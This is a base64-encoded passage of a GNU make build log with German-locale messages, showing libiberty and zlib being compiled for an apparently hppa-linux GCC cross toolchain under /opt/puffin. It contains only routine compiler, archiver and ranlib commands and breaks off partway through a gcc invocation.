SGVyZSBpcyB0aGUgb3V0cHV0DQptYWtlWzFdOiBXZWNoc2VsIGluIGRhcyBWZXJ6ZWljaG5p
cyBWZXJ6ZWljaG5pcyANCrsvb3B0L3B1ZmZpbi94Yy1idWlsZC9nY2MvbGliaWJlcnR5qw0K
aWYgWyB4IiIgIT0geCBdICYmIFsgISAtZCBwaWMgXTsgdGhlbiBcDQogIG1rZGlyIHBpYzsg
XA0KZWxzZSB0cnVlOyBmaQ0KdG91Y2ggc3RhbXAtcGljZGlyDQpybSAtZiBuZWVkZWQtbGlz
dDsgdG91Y2ggbmVlZGVkLWxpc3Q7IFwNCmZvciBmIGluIGF0ZXhpdCBjYWxsb2MgbWVtY2hy
IG1lbWNtcCBtZW1jcHkgbWVtbW92ZSBtZW1zZXQgcmVuYW1lIHN0cmNociANCnN0cmVycm9y
IHN0cm5jbXAgc3RycmNociBzdHJzdHIgc3RydG9sIHN0cnRvdWwgdG1wbmFtIHZmcHJpbnRm
IHZwcmludGYgdmZvcmsgDQp3YWl0cGlkIGJjbXAgYmNvcHkgYnplcm87IGRvIFwNCiAgZm9y
IGcgaW4gbWtzdGVtcHMubyA7IGRvIFwNCiAgICBjYXNlICIkZyIgaW4gXA0KICAgICAgKiRm
KikgZWNobyAkZyA+PiBuZWVkZWQtbGlzdCA7OyBcDQogICAgZXNhYzsgXA0KICBkb25lOyBc
DQpkb25lDQplY2hvIGFyZ3YubyBjaG9vc2UtdGVtcC5vIGNvbmNhdC5vIGNwbHVzLWRlbS5v
IGNwLWRlbWFuZ2xlLm8gZHluLXN0cmluZy5vIA0KZmRtYXRjaC5vIGZubWF0Y2gubyBnZXRv
cHQubyBnZXRvcHQxLm8gZ2V0cHdkLm8gZ2V0cnVudGltZS5vIGhhc2h0YWIubyBoZXgubyAN
CmZsb2F0Zm9ybWF0Lm8gbWQ1Lm8gb2JqYWxsb2MubyBvYnN0YWNrLm8gcGFydGl0aW9uLm8g
cGV4ZWN1dGUubyBzYWZlLWN0eXBlLm8gDQpzb3J0Lm8gc3BhY2VzLm8gc3BsYXktdHJlZS5v
IHN0cmVycm9yLm8gc3Ryc2lnbmFsLm8geGF0ZXhpdC5vIHhleGl0Lm8gDQp4bWFsbG9jLm8g
eG1lbWR1cC5vIHhzdHJkdXAubyB4c3RyZXJyb3IubyA+IHJlcXVpcmVkLWxpc3QNCm1ha2Vb
Ml06IFdlY2hzZWwgaW4gZGFzIFZlcnplaWNobmlzIFZlcnplaWNobmlzIA0Kuy9vcHQvcHVm
ZmluL3hjLWJ1aWxkL2djYy9saWJpYmVydHkvdGVzdHN1aXRlqw0KbWFrZVsyXTogRvxyIGRh
cyBUYXJnZXQgu2FsbKsgZ2lidCBlcyBuaWNodHMgenUgdHVuLg0KbWFrZVsyXTogVmVybGFz
c2VuIGRlcyBWZXJ6ZWljaG5pc3NlcyBWZXJ6ZWljaG5pcyANCrsvb3B0L3B1ZmZpbi94Yy1i
dWlsZC9nY2MvbGliaWJlcnR5L3Rlc3RzdWl0ZasNCmlmIFsgeCIiICE9IHggXTsgdGhlbiBc
DQogIGdjYyAtYyAtREhBVkVfQ09ORklHX0ggLWcgLU8yIC1JLiANCi1JL29wdC9wdWZmaW4v
cGFsaW51eC9nY2MvbGliaWJlcnR5Ly4uL2luY2x1ZGUgIC1XIC1XYWxsIC1XdHJhZGl0aW9u
YWwgDQotcGVkYW50aWMgIC9vcHQvcHVmZmluL3BhbGludXgvZ2NjL2xpYmliZXJ0eS9hcmd2
LmMgLW8gcGljL2FyZ3YubzsgXA0KZWxzZSB0cnVlOyBmaQ0KZ2NjIC1jIC1ESEFWRV9DT05G
SUdfSCAtZyAtTzIgLUkuIA0KLUkvb3B0L3B1ZmZpbi9wYWxpbnV4L2djYy9saWJpYmVydHkv
Li4vaW5jbHVkZSAgLVcgLVdhbGwgLVd0cmFkaXRpb25hbCANCi1wZWRhbnRpYyAvb3B0L3B1
ZmZpbi9wYWxpbnV4L2djYy9saWJpYmVydHkvYXJndi5jDQppZiBbIHgiIiAhPSB4IF07IHRo
ZW4gXA0KICBnY2MgLWMgLURIQVZFX0NPTkZJR19IIC1nIC1PMiAtSS4gDQotSS9vcHQvcHVm
ZmluL3BhbGludXgvZ2NjL2xpYmliZXJ0eS8uLi9pbmNsdWRlICAtVyAtV2FsbCAtV3RyYWRp
dGlvbmFsIA0KLXBlZGFudGljICAvb3B0L3B1ZmZpbi9wYWxpbnV4L2djYy9saWJpYmVydHkv
Y2hvb3NlLXRlbXAuYyAtbyANCnBpYy9jaG9vc2UtdGVtcC5vOyBcDQplbHNlIHRydWU7IGZp
DQpnY2MgLWMgLURIQVZFX0NPTkZJR19IIC1nIC1PMiAtSS4gDQotSS9vcHQvcHVmZmluL3Bh
bGludXgvZ2NjL2xpYmliZXJ0eS8uLi9pbmNsdWRlICAtVyAtV2FsbCAtV3RyYWRpdGlvbmFs
IA0KLXBlZGFudGljIC9vcHQvcHVmZmluL3BhbGludXgvZ2NjL2xpYmliZXJ0eS9jaG9vc2Ut
dGVtcC5jDQppZiBbIHgiIiAhPSB4IF07IHRoZW4gXA0KICBnY2MgLWMgLURIQVZFX0NPTkZJ
R19IIC1nIC1PMiAtSS4gDQotSS9vcHQvcHVmZmluL3BhbGludXgvZ2NjL2xpYmliZXJ0eS8u
Li9pbmNsdWRlICAtVyAtV2FsbCAtV3RyYWRpdGlvbmFsIA0KLXBlZGFudGljICAvb3B0L3B1
ZmZpbi9wYWxpbnV4L2djYy9saWJpYmVydHkvY29uY2F0LmMgLW8gcGljL2NvbmNhdC5vOyBc
DQplbHNlIHRydWU7IGZpDQpnY2MgLWMgLURIQVZFX0NPTkZJR19IIC1nIC1PMiAtSS4gDQot
SS9vcHQvcHVmZmluL3BhbGludXgvZ2NjL2xpYmliZXJ0eS8uLi9pbmNsdWRlICAtVyAtV2Fs
bCAtV3RyYWRpdGlvbmFsIA0KLXBlZGFudGljIC9vcHQvcHVmZmluL3BhbGludXgvZ2NjL2xp
YmliZXJ0eS9jb25jYXQuYw0KbWFrZVsxXTogV2VjaHNlbCBpbiBkYXMgVmVyemVpY2huaXMg
VmVyemVpY2huaXMguy9vcHQvcHVmZmluL3hjLWJ1aWxkL2djYy96bGliqw0KZ2NjIC1EUEFD
S0FHRT1cInpsaWJcIiAtRFZFUlNJT049XCIxLjEuM1wiIC1ESEFWRV9VTklTVERfSD0xIA0K
LURIQVZFX0dFVFBBR0VTSVpFPTEgLURIQVZFX01NQVA9MSAtREhBVkVfTUVNQ1BZPTEgLURI
QVZFX1NUUkVSUk9SPTEgDQotREhBVkVfVU5JU1REX0g9MSAgLUkuIC1JL29wdC9wdWZmaW4v
cGFsaW51eC9nY2MvemxpYiAgICAgIC1nIC1PMiAtYyANCi9vcHQvcHVmZmluL3BhbGludXgv
Z2NjL3psaWIvYWRsZXIzMi5jDQppZiBbIHgiIiAhPSB4IF07IHRoZW4gXA0KICBnY2MgLWMg
LURIQVZFX0NPTkZJR19IIC1nIC1PMiAtSS4gDQotSS9vcHQvcHVmZmluL3BhbGludXgvZ2Nj
L2xpYmliZXJ0eS8uLi9pbmNsdWRlICAtVyAtV2FsbCAtV3RyYWRpdGlvbmFsIA0KLXBlZGFu
dGljICAvb3B0L3B1ZmZpbi9wYWxpbnV4L2djYy9saWJpYmVydHkvY3BsdXMtZGVtLmMgLW8g
cGljL2NwbHVzLWRlbS5vOyBcDQplbHNlIHRydWU7IGZpDQpnY2MgLWMgLURIQVZFX0NPTkZJ
R19IIC1nIC1PMiAtSS4gDQotSS9vcHQvcHVmZmluL3BhbGludXgvZ2NjL2xpYmliZXJ0eS8u
Li9pbmNsdWRlICAtVyAtV2FsbCAtV3RyYWRpdGlvbmFsIA0KLXBlZGFudGljIC9vcHQvcHVm
ZmluL3BhbGludXgvZ2NjL2xpYmliZXJ0eS9jcGx1cy1kZW0uYw0KZ2NjIC1EUEFDS0FHRT1c
InpsaWJcIiAtRFZFUlNJT049XCIxLjEuM1wiIC1ESEFWRV9VTklTVERfSD0xIA0KLURIQVZF
X0dFVFBBR0VTSVpFPTEgLURIQVZFX01NQVA9MSAtREhBVkVfTUVNQ1BZPTEgLURIQVZFX1NU
UkVSUk9SPTEgDQotREhBVkVfVU5JU1REX0g9MSAgLUkuIC1JL29wdC9wdWZmaW4vcGFsaW51
eC9nY2MvemxpYiAgICAgIC1nIC1PMiAtYyANCi9vcHQvcHVmZmluL3BhbGludXgvZ2NjL3ps
aWIvY29tcHJlc3MuYw0KZ2NjIC1EUEFDS0FHRT1cInpsaWJcIiAtRFZFUlNJT049XCIxLjEu
M1wiIC1ESEFWRV9VTklTVERfSD0xIA0KLURIQVZFX0dFVFBBR0VTSVpFPTEgLURIQVZFX01N
QVA9MSAtREhBVkVfTUVNQ1BZPTEgLURIQVZFX1NUUkVSUk9SPTEgDQotREhBVkVfVU5JU1RE
X0g9MSAgLUkuIC1JL29wdC9wdWZmaW4vcGFsaW51eC9nY2MvemxpYiAgICAgIC1nIC1PMiAt
YyANCi9vcHQvcHVmZmluL3BhbGludXgvZ2NjL3psaWIvY3JjMzIuYw0KZ2NjIC1EUEFDS0FH
RT1cInpsaWJcIiAtRFZFUlNJT049XCIxLjEuM1wiIC1ESEFWRV9VTklTVERfSD0xIA0KLURI
QVZFX0dFVFBBR0VTSVpFPTEgLURIQVZFX01NQVA9MSAtREhBVkVfTUVNQ1BZPTEgLURIQVZF
X1NUUkVSUk9SPTEgDQotREhBVkVfVU5JU1REX0g9MSAgLUkuIC1JL29wdC9wdWZmaW4vcGFs
aW51eC9nY2MvemxpYiAgICAgIC1nIC1PMiAtYyANCi9vcHQvcHVmZmluL3BhbGludXgvZ2Nj
L3psaWIvZGVmbGF0ZS5jDQpnY2MgLURQQUNLQUdFPVwiemxpYlwiIC1EVkVSU0lPTj1cIjEu
MS4zXCIgLURIQVZFX1VOSVNURF9IPTEgDQotREhBVkVfR0VUUEFHRVNJWkU9MSAtREhBVkVf
TU1BUD0xIC1ESEFWRV9NRU1DUFk9MSAtREhBVkVfU1RSRVJST1I9MSANCi1ESEFWRV9VTklT
VERfSD0xICAtSS4gLUkvb3B0L3B1ZmZpbi9wYWxpbnV4L2djYy96bGliICAgICAgLWcgLU8y
IC1jIA0KL29wdC9wdWZmaW4vcGFsaW51eC9nY2MvemxpYi9nemlvLmMNCmdjYyAtRFBBQ0tB
R0U9XCJ6bGliXCIgLURWRVJTSU9OPVwiMS4xLjNcIiAtREhBVkVfVU5JU1REX0g9MSANCi1E
SEFWRV9HRVRQQUdFU0laRT0xIC1ESEFWRV9NTUFQPTEgLURIQVZFX01FTUNQWT0xIC1ESEFW
RV9TVFJFUlJPUj0xIA0KLURIQVZFX1VOSVNURF9IPTEgIC1JLiAtSS9vcHQvcHVmZmluL3Bh
bGludXgvZ2NjL3psaWIgICAgICAtZyAtTzIgLWMgDQovb3B0L3B1ZmZpbi9wYWxpbnV4L2dj
Yy96bGliL2luZmJsb2NrLmMNCmdjYyAtRFBBQ0tBR0U9XCJ6bGliXCIgLURWRVJTSU9OPVwi
MS4xLjNcIiAtREhBVkVfVU5JU1REX0g9MSANCi1ESEFWRV9HRVRQQUdFU0laRT0xIC1ESEFW
RV9NTUFQPTEgLURIQVZFX01FTUNQWT0xIC1ESEFWRV9TVFJFUlJPUj0xIA0KLURIQVZFX1VO
SVNURF9IPTEgIC1JLiAtSS9vcHQvcHVmZmluL3BhbGludXgvZ2NjL3psaWIgICAgICAtZyAt
TzIgLWMgDQovb3B0L3B1ZmZpbi9wYWxpbnV4L2djYy96bGliL2luZmNvZGVzLmMNCmlmIFsg
eCIiICE9IHggXTsgdGhlbiBcDQogIGdjYyAtYyAtREhBVkVfQ09ORklHX0ggLWcgLU8yIC1J
LiANCi1JL29wdC9wdWZmaW4vcGFsaW51eC9nY2MvbGliaWJlcnR5Ly4uL2luY2x1ZGUgIC1X
IC1XYWxsIC1XdHJhZGl0aW9uYWwgDQotcGVkYW50aWMgIC9vcHQvcHVmZmluL3BhbGludXgv
Z2NjL2xpYmliZXJ0eS9jcC1kZW1hbmdsZS5jIC1vIA0KcGljL2NwLWRlbWFuZ2xlLm87IFwN
CmVsc2UgdHJ1ZTsgZmkNCmdjYyAtYyAtREhBVkVfQ09ORklHX0ggLWcgLU8yIC1JLiANCi1J
L29wdC9wdWZmaW4vcGFsaW51eC9nY2MvbGliaWJlcnR5Ly4uL2luY2x1ZGUgIC1XIC1XYWxs
IC1XdHJhZGl0aW9uYWwgDQotcGVkYW50aWMgL29wdC9wdWZmaW4vcGFsaW51eC9nY2MvbGli
aWJlcnR5L2NwLWRlbWFuZ2xlLmMNCmdjYyAtRFBBQ0tBR0U9XCJ6bGliXCIgLURWRVJTSU9O
PVwiMS4xLjNcIiAtREhBVkVfVU5JU1REX0g9MSANCi1ESEFWRV9HRVRQQUdFU0laRT0xIC1E
SEFWRV9NTUFQPTEgLURIQVZFX01FTUNQWT0xIC1ESEFWRV9TVFJFUlJPUj0xIA0KLURIQVZF
X1VOSVNURF9IPTEgIC1JLiAtSS9vcHQvcHVmZmluL3BhbGludXgvZ2NjL3psaWIgICAgICAt
ZyAtTzIgLWMgDQovb3B0L3B1ZmZpbi9wYWxpbnV4L2djYy96bGliL2luZmZhc3QuYw0KZ2Nj
IC1EUEFDS0FHRT1cInpsaWJcIiAtRFZFUlNJT049XCIxLjEuM1wiIC1ESEFWRV9VTklTVERf
SD0xIA0KLURIQVZFX0dFVFBBR0VTSVpFPTEgLURIQVZFX01NQVA9MSAtREhBVkVfTUVNQ1BZ
PTEgLURIQVZFX1NUUkVSUk9SPTEgDQotREhBVkVfVU5JU1REX0g9MSAgLUkuIC1JL29wdC9w
dWZmaW4vcGFsaW51eC9nY2MvemxpYiAgICAgIC1nIC1PMiAtYyANCi9vcHQvcHVmZmluL3Bh
bGludXgvZ2NjL3psaWIvaW5mbGF0ZS5jDQpnY2MgLURQQUNLQUdFPVwiemxpYlwiIC1EVkVS
U0lPTj1cIjEuMS4zXCIgLURIQVZFX1VOSVNURF9IPTEgDQotREhBVkVfR0VUUEFHRVNJWkU9
MSAtREhBVkVfTU1BUD0xIC1ESEFWRV9NRU1DUFk9MSAtREhBVkVfU1RSRVJST1I9MSANCi1E
SEFWRV9VTklTVERfSD0xICAtSS4gLUkvb3B0L3B1ZmZpbi9wYWxpbnV4L2djYy96bGliICAg
ICAgLWcgLU8yIC1jIA0KL29wdC9wdWZmaW4vcGFsaW51eC9nY2MvemxpYi9pbmZ0cmVlcy5j
DQpnY2MgLURQQUNLQUdFPVwiemxpYlwiIC1EVkVSU0lPTj1cIjEuMS4zXCIgLURIQVZFX1VO
SVNURF9IPTEgDQotREhBVkVfR0VUUEFHRVNJWkU9MSAtREhBVkVfTU1BUD0xIC1ESEFWRV9N
RU1DUFk9MSAtREhBVkVfU1RSRVJST1I9MSANCi1ESEFWRV9VTklTVERfSD0xICAtSS4gLUkv
b3B0L3B1ZmZpbi9wYWxpbnV4L2djYy96bGliICAgICAgLWcgLU8yIC1jIA0KL29wdC9wdWZm
aW4vcGFsaW51eC9nY2MvemxpYi9pbmZ1dGlsLmMNCmdjYyAtRFBBQ0tBR0U9XCJ6bGliXCIg
LURWRVJTSU9OPVwiMS4xLjNcIiAtREhBVkVfVU5JU1REX0g9MSANCi1ESEFWRV9HRVRQQUdF
U0laRT0xIC1ESEFWRV9NTUFQPTEgLURIQVZFX01FTUNQWT0xIC1ESEFWRV9TVFJFUlJPUj0x
IA0KLURIQVZFX1VOSVNURF9IPTEgIC1JLiAtSS9vcHQvcHVmZmluL3BhbGludXgvZ2NjL3ps
aWIgICAgICAtZyAtTzIgLWMgDQovb3B0L3B1ZmZpbi9wYWxpbnV4L2djYy96bGliL3RyZWVz
LmMNCmlmIFsgeCIiICE9IHggXTsgdGhlbiBcDQogIGdjYyAtYyAtREhBVkVfQ09ORklHX0gg
LWcgLU8yIC1JLiANCi1JL29wdC9wdWZmaW4vcGFsaW51eC9nY2MvbGliaWJlcnR5Ly4uL2lu
Y2x1ZGUgIC1XIC1XYWxsIC1XdHJhZGl0aW9uYWwgDQotcGVkYW50aWMgIC9vcHQvcHVmZmlu
L3BhbGludXgvZ2NjL2xpYmliZXJ0eS9keW4tc3RyaW5nLmMgLW8gcGljL2R5bi1zdHJpbmcu
bzsgDQpcDQplbHNlIHRydWU7IGZpDQpnY2MgLWMgLURIQVZFX0NPTkZJR19IIC1nIC1PMiAt
SS4gDQotSS9vcHQvcHVmZmluL3BhbGludXgvZ2NjL2xpYmliZXJ0eS8uLi9pbmNsdWRlICAt
VyAtV2FsbCAtV3RyYWRpdGlvbmFsIA0KLXBlZGFudGljIC9vcHQvcHVmZmluL3BhbGludXgv
Z2NjL2xpYmliZXJ0eS9keW4tc3RyaW5nLmMNCmdjYyAtRFBBQ0tBR0U9XCJ6bGliXCIgLURW
RVJTSU9OPVwiMS4xLjNcIiAtREhBVkVfVU5JU1REX0g9MSANCi1ESEFWRV9HRVRQQUdFU0la
RT0xIC1ESEFWRV9NTUFQPTEgLURIQVZFX01FTUNQWT0xIC1ESEFWRV9TVFJFUlJPUj0xIA0K
LURIQVZFX1VOSVNURF9IPTEgIC1JLiAtSS9vcHQvcHVmZmluL3BhbGludXgvZ2NjL3psaWIg
ICAgICAtZyAtTzIgLWMgDQovb3B0L3B1ZmZpbi9wYWxpbnV4L2djYy96bGliL3VuY29tcHIu
Yw0KaWYgWyB4IiIgIT0geCBdOyB0aGVuIFwNCiAgZ2NjIC1jIC1ESEFWRV9DT05GSUdfSCAt
ZyAtTzIgLUkuIA0KLUkvb3B0L3B1ZmZpbi9wYWxpbnV4L2djYy9saWJpYmVydHkvLi4vaW5j
bHVkZSAgLVcgLVdhbGwgLVd0cmFkaXRpb25hbCANCi1wZWRhbnRpYyAgL29wdC9wdWZmaW4v
cGFsaW51eC9nY2MvbGliaWJlcnR5L2ZkbWF0Y2guYyAtbyBwaWMvZmRtYXRjaC5vOyBcDQpl
bHNlIHRydWU7IGZpDQpnY2MgLWMgLURIQVZFX0NPTkZJR19IIC1nIC1PMiAtSS4gDQotSS9v
cHQvcHVmZmluL3BhbGludXgvZ2NjL2xpYmliZXJ0eS8uLi9pbmNsdWRlICAtVyAtV2FsbCAt
V3RyYWRpdGlvbmFsIA0KLXBlZGFudGljIC9vcHQvcHVmZmluL3BhbGludXgvZ2NjL2xpYmli
ZXJ0eS9mZG1hdGNoLmMNCmdjYyAtRFBBQ0tBR0U9XCJ6bGliXCIgLURWRVJTSU9OPVwiMS4x
LjNcIiAtREhBVkVfVU5JU1REX0g9MSANCi1ESEFWRV9HRVRQQUdFU0laRT0xIC1ESEFWRV9N
TUFQPTEgLURIQVZFX01FTUNQWT0xIC1ESEFWRV9TVFJFUlJPUj0xIA0KLURIQVZFX1VOSVNU
RF9IPTEgIC1JLiAtSS9vcHQvcHVmZmluL3BhbGludXgvZ2NjL3psaWIgICAgICAtZyAtTzIg
LWMgDQovb3B0L3B1ZmZpbi9wYWxpbnV4L2djYy96bGliL3p1dGlsLmMNCmlmIFsgeCIiICE9
IHggXTsgdGhlbiBcDQogIGdjYyAtYyAtREhBVkVfQ09ORklHX0ggLWcgLU8yIC1JLiANCi1J
L29wdC9wdWZmaW4vcGFsaW51eC9nY2MvbGliaWJlcnR5Ly4uL2luY2x1ZGUgIC1XIC1XYWxs
IC1XdHJhZGl0aW9uYWwgDQotcGVkYW50aWMgIC9vcHQvcHVmZmluL3BhbGludXgvZ2NjL2xp
YmliZXJ0eS9mbm1hdGNoLmMgLW8gcGljL2ZubWF0Y2gubzsgXA0KZWxzZSB0cnVlOyBmaQ0K
Z2NjIC1jIC1ESEFWRV9DT05GSUdfSCAtZyAtTzIgLUkuIA0KLUkvb3B0L3B1ZmZpbi9wYWxp
bnV4L2djYy9saWJpYmVydHkvLi4vaW5jbHVkZSAgLVcgLVdhbGwgLVd0cmFkaXRpb25hbCAN
Ci1wZWRhbnRpYyAvb3B0L3B1ZmZpbi9wYWxpbnV4L2djYy9saWJpYmVydHkvZm5tYXRjaC5j
DQp0cnVlICJBUl9GTEFHUz1yYyIgIkNDX0ZPUl9CVUlMRD1nY2MiICJDRkxBR1M9LWcgLU8y
IiAiQ1hYRkxBR1M9LWcgLU8yIiANCiJDRkxBR1NfRk9SX0JVSUxEPSIgIkNGTEFHU19GT1Jf
VEFSR0VUPS1nIC1PMiIgIklOU1RBTEw9L2Jpbi9zaCANCi9vcHQvcHVmZmluL3BhbGludXgv
Z2NjL2luc3RhbGwtc2ggLWMiICJJTlNUQUxMX0RBVEE9L2Jpbi9zaCANCi9vcHQvcHVmZmlu
L3BhbGludXgvZ2NjL2luc3RhbGwtc2ggLWMgLW0gNjQ0IiAiSU5TVEFMTF9QUk9HUkFNPS9i
aW4vc2ggDQovb3B0L3B1ZmZpbi9wYWxpbnV4L2djYy9pbnN0YWxsLXNoIC1jICIgIklOU1RB
TExfU0NSSVBUPS9iaW4vc2ggDQovb3B0L3B1ZmZpbi9wYWxpbnV4L2djYy9pbnN0YWxsLXNo
IC1jIiAiTERGTEFHUz0iICJMSUJDRkxBR1M9LWcgLU8yIiANCiJMSUJDRkxBR1NfRk9SX1RB
UkdFVD0tZyAtTzIiICJNQUtFPW1ha2UiICJNQUtFSU5GTz1tYWtlaW5mbyAgIiAiUElDRkxB
Rz0iIA0KIlBJQ0ZMQUdfRk9SX1RBUkdFVD0iICJTSEVMTD0vYmluL3NoIiAiRVhQRUNUPWV4
cGVjdCIgIlJVTlRFU1Q9cnVudGVzdCIgDQoiUlVOVEVTVEZMQUdTPSIgImV4ZWNfcHJlZml4
PS9vcHQvcHVmZmluL3hjIiAiaW5mb2Rpcj0vb3B0L3B1ZmZpbi94Yy9pbmZvIiANCiJsaWJk
aXI9L29wdC9wdWZmaW4veGMvbGliIiAicHJlZml4PS9vcHQvcHVmZmluL3hjIiANCiJ0b29s
ZGlyPS9vcHQvcHVmZmluL3hjL2hwcGEtbGludXgiICJBUj1hciIgIkFTPWFzIiAiQ0M9Z2Nj
IiAiQ1hYPWMrKyIgIkxEPWxkIiANCiJMSUJDRkxBR1M9LWcgLU8yIiAiTk09bm0iICJQSUNG
TEFHPSIgIlJBTkxJQj1yYW5saWIiICJERVNURElSPSIgRE89YWxsIA0KbXVsdGktZG8NCnJt
IC1mIGxpYnouYQ0KYXIgY3J1IGxpYnouYSBhZGxlcjMyLm8gY29tcHJlc3MubyBjcmMzMi5v
IGRlZmxhdGUubyBnemlvLm8gaW5mYmxvY2subyANCmluZmNvZGVzLm8gaW5mZmFzdC5vIGlu
ZmxhdGUubyBpbmZ0cmVlcy5vIGluZnV0aWwubyB0cmVlcy5vIHVuY29tcHIubyB6dXRpbC5v
IA0KaWYgWyB4IiIgIT0geCBdOyB0aGVuIFwNCiAgZ2NjIC1jIC1ESEFWRV9DT05GSUdfSCAt
ZyAtTzIgLUkuIA0KLUkvb3B0L3B1ZmZpbi9wYWxpbnV4L2djYy9saWJpYmVydHkvLi4vaW5j
bHVkZSAgLVcgLVdhbGwgLVd0cmFkaXRpb25hbCANCi1wZWRhbnRpYyAgL29wdC9wdWZmaW4v
cGFsaW51eC9nY2MvbGliaWJlcnR5L2dldG9wdC5jIC1vIHBpYy9nZXRvcHQubzsgXA0KZWxz
ZSB0cnVlOyBmaQ0KZ2NjIC1jIC1ESEFWRV9DT05GSUdfSCAtZyAtTzIgLUkuIA0KLUkvb3B0
L3B1ZmZpbi9wYWxpbnV4L2djYy9saWJpYmVydHkvLi4vaW5jbHVkZSAgLVcgLVdhbGwgLVd0
cmFkaXRpb25hbCANCi1wZWRhbnRpYyAvb3B0L3B1ZmZpbi9wYWxpbnV4L2djYy9saWJpYmVy
dHkvZ2V0b3B0LmMNCnJhbmxpYiBsaWJ6LmENCm1ha2VbMV06IFZlcmxhc3NlbiBkZXMgVmVy
emVpY2huaXNzZXMgVmVyemVpY2huaXMgDQq7L29wdC9wdWZmaW4veGMtYnVpbGQvZ2NjL3ps
aWKrDQppZiBbIHgiIiAhPSB4IF07IHRoZW4gXA0KICBnY2MgLWMgLURIQVZFX0NPTkZJR19I
IC1nIC1PMiAtSS4gDQotSS9vcHQvcHVmZmluL3BhbGludXgvZ2NjL2xpYmliZXJ0eS8uLi9p
bmNsdWRlICAtVyAtV2FsbCAtV3RyYWRpdGlvbmFsIA0KLXBlZGFudGljICAvb3B0L3B1ZmZp
bi9wYWxpbnV4L2djYy9saWJpYmVydHkvZ2V0b3B0MS5jIC1vIHBpYy9nZXRvcHQxLm87IFwN
CmVsc2UgdHJ1ZTsgZmkNCmdjYyAtYyAtREhBVkVfQ09ORklHX0ggLWcgLU8yIC1JLiANCi1J
L29wdC9wdWZmaW4vcGFsaW51eC9nY2MvbGliaWJlcnR5Ly4uL2luY2x1ZGUgIC1XIC1XYWxs
IC1XdHJhZGl0aW9uYWwgDQotcGVkYW50aWMgL29wdC9wdWZmaW4vcGFsaW51eC9nY2MvbGli
aWJlcnR5L2dldG9wdDEuYw0KaWYgWyB4IiIgIT0geCBdOyB0aGVuIFwNCiAgZ2NjIC1jIC1E
SEFWRV9DT05GSUdfSCAtZyAtTzIgLUkuIA0KLUkvb3B0L3B1ZmZpbi9wYWxpbnV4L2djYy9s
aWJpYmVydHkvLi4vaW5jbHVkZSAgLVcgLVdhbGwgLVd0cmFkaXRpb25hbCANCi1wZWRhbnRp
YyAgL29wdC9wdWZmaW4vcGFsaW51eC9nY2MvbGliaWJlcnR5L2dldHB3ZC5jIC1vIHBpYy9n
ZXRwd2QubzsgXA0KZWxzZSB0cnVlOyBmaQ0KZ2NjIC1jIC1ESEFWRV9DT05GSUdfSCAtZyAt
TzIgLUkuIA0KLUkvb3B0L3B1ZmZpbi9wYWxpbnV4L2djYy9saWJpYmVydHkvLi4vaW5jbHVk
ZSAgLVcgLVdhbGwgLVd0cmFkaXRpb25hbCANCi1wZWRhbnRpYyAvb3B0L3B1ZmZpbi9wYWxp
bnV4L2djYy9saWJpYmVydHkvZ2V0cHdkLmMNCmlmIFsgeCIiICE9IHggXTsgdGhlbiBcDQog
IGdjYyAtYyAtREhBVkVfQ09ORklHX0ggLWcgLU8yIC1JLiANCi1JL29wdC9wdWZmaW4vcGFs
aW51eC9nY2MvbGliaWJlcnR5Ly4uL2luY2x1ZGUgIC1XIC1XYWxsIC1XdHJhZGl0aW9uYWwg
DQotcGVkYW50aWMgIC9vcHQvcHVmZmluL3BhbGludXgvZ2NjL2xpYmliZXJ0eS9nZXRydW50
aW1lLmMgLW8gcGljL2dldHJ1bnRpbWUubzsgDQpcDQplbHNlIHRydWU7IGZpDQpnY2MgLWMg
LURIQVZFX0NPTkZJR19IIC1nIC1PMiAtSS4gDQotSS9vcHQvcHVmZmluL3BhbGludXgvZ2Nj
L2xpYmliZXJ0eS8uLi9pbmNsdWRlICAtVyAtV2FsbCAtV3RyYWRpdGlvbmFsIA0KLXBlZGFu
dGljIC9vcHQvcHVmZmluL3BhbGludXgvZ2NjL2xpYmliZXJ0eS9nZXRydW50aW1lLmMNCmlm
IFsgeCIiICE9IHggXTsgdGhlbiBcDQogIGdjYyAtYyAtREhBVkVfQ09ORklHX0ggLWcgLU8y
IC1JLiANCi1JL29wdC9wdWZmaW4vcGFsaW51eC9nY2MvbGliaWJlcnR5Ly4uL2luY2x1ZGUg
IC1XIC1XYWxsIC1XdHJhZGl0aW9uYWwgDQotcGVkYW50aWMgIC9vcHQvcHVmZmluL3BhbGlu
dXgvZ2NjL2xpYmliZXJ0eS9oYXNodGFiLmMgLW8gcGljL2hhc2h0YWIubzsgXA0KZWxzZSB0
cnVlOyBmaQ0KZ2NjIC1jIC1ESEFWRV9DT05GSUdfSCAtZyAtTzIgLUkuIA0KLUkvb3B0L3B1
ZmZpbi9wYWxpbnV4L2djYy9saWJpYmVydHkvLi4vaW5jbHVkZSAgLVcgLVdhbGwgLVd0cmFk
aXRpb25hbCANCi1wZWRhbnRpYyAvb3B0L3B1ZmZpbi9wYWxpbnV4L2djYy9saWJpYmVydHkv
aGFzaHRhYi5jDQppZiBbIHgiIiAhPSB4IF07IHRoZW4gXA0KICBnY2MgLWMgLURIQVZFX0NP
TkZJR19IIC1nIC1PMiAtSS4gDQotSS9vcHQvcHVmZmluL3BhbGludXgvZ2NjL2xpYmliZXJ0
eS8uLi9pbmNsdWRlICAtVyAtV2FsbCAtV3RyYWRpdGlvbmFsIA0KLXBlZGFudGljICAvb3B0
L3B1ZmZpbi9wYWxpbnV4L2djYy9saWJpYmVydHkvaGV4LmMgLW8gcGljL2hleC5vOyBcDQpl
bHNlIHRydWU7IGZpDQpnY2MgLWMgLURIQVZFX0NPTkZJR19IIC1nIC1PMiAtSS4gDQotSS9v
cHQvcHVmZmluL3BhbGludXgvZ2NjL2xpYmliZXJ0eS8uLi9pbmNsdWRlICAtVyAtV2FsbCAt
V3RyYWRpdGlvbmFsIA0KLXBlZGFudGljIC9vcHQvcHVmZmluL3BhbGludXgvZ2NjL2xpYmli
ZXJ0eS9oZXguYw0KaWYgWyB4IiIgIT0geCBdOyB0aGVuIFwNCiAgZ2NjIC1jIC1ESEFWRV9D
T05GSUdfSCAtZyAtTzIgLUkuIA0KLUkvb3B0L3B1ZmZpbi9wYWxpbnV4L2djYy9saWJpYmVy
dHkvLi4vaW5jbHVkZSAgLVcgLVdhbGwgLVd0cmFkaXRpb25hbCANCi1wZWRhbnRpYyAgL29w
dC9wdWZmaW4vcGFsaW51eC9nY2MvbGliaWJlcnR5L2Zsb2F0Zm9ybWF0LmMgLW8gDQpwaWMv
ZmxvYXRmb3JtYXQubzsgXA0KZWxzZSB0cnVlOyBmaQ0KZ2NjIC1jIC1ESEFWRV9DT05GSUdf
